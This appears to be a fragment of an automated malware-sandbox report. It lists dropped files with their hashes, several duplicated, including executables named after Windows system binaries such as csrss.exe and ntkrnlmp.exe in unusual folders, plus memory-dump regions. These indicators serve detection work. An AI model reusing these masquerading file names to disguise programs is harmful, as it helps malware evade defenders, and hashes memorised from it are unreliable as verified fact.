SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllFilesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\symsrv.dllFilesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeFilesize
3.8MB
MD5e66b0b2bb9191a0b029350e70314ed76
SHA110f1b8ceaaeb02d6c5d07db2c3feddcf07f1b452
SHA2561352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b
SHA51233a49eafdf4959a97570984a1359c06c6a2f42500d1579c17f37593854c390592b36d0bf6ef68af3aee8fb4d20e14dcde7d865d1aa997b25787f72788fcfff0f
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\Windows\rss\csrss.exeFilesize
3.8MB
MD5e66b0b2bb9191a0b029350e70314ed76
SHA110f1b8ceaaeb02d6c5d07db2c3feddcf07f1b452
SHA2561352f3f536e19bfe7372ed68f212905471d5b1d00612dcffd6bb062bd2e5180b
SHA51233a49eafdf4959a97570984a1359c06c6a2f42500d1579c17f37593854c390592b36d0bf6ef68af3aee8fb4d20e14dcde7d865d1aa997b25787f72788fcfff0f
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memory/560-63-0x0000000000400000-0x0000000001019000-memory.dmpFilesize
12.1MB
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memory/560-58-0x0000000001580000-0x0000000001926000-memory.dmpFilesize
3.6MB
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memory/560-62-0x0000000001580000-0x0000000001926000-memory.dmpFilesize
3.6MB
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memory/568-60-0x0000000000000000-mapping.dmp
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memory/568-61-0x000007FEFB801000-0x000007FEFB803000-memory.dmpFilesize
8KB
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memory/880-54-0x00000000011E0000-0x0000000001586000-memory.dmpFilesize
3.6MB
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memory/880-57-0x0000000000400000-0x0000000001019000-memory.dmpFilesize
12.1MB
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memory/880-56-0x0000000001590000-0x0000000001C85000-memory.dmpFilesize
7.0MB
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memory/880-55-0x00000000011E0000-0x0000000001586000-memory.dmpFilesize
3.6MB
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memory/1828-70-0x0000000001550000-0x0000000001C45000-memory.dmpFilesize
7.0MB
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memory/1828-71-0x0000000000400000-0x0000000001019000-memory.dmpFilesize
12.1MB
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memory/1828-69-0x00000000011A0000-0x0000000001546000-memory.dmpFilesize
3.6MB
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memory/1828-68-0x00000000011A0000-0x0000000001546000-memory.dmpFilesize
3.6MB
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memory/1828-66-0x0000000000000000-mapping.dmp
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memory/1984-59-0x0000000000000000-mapping.dmp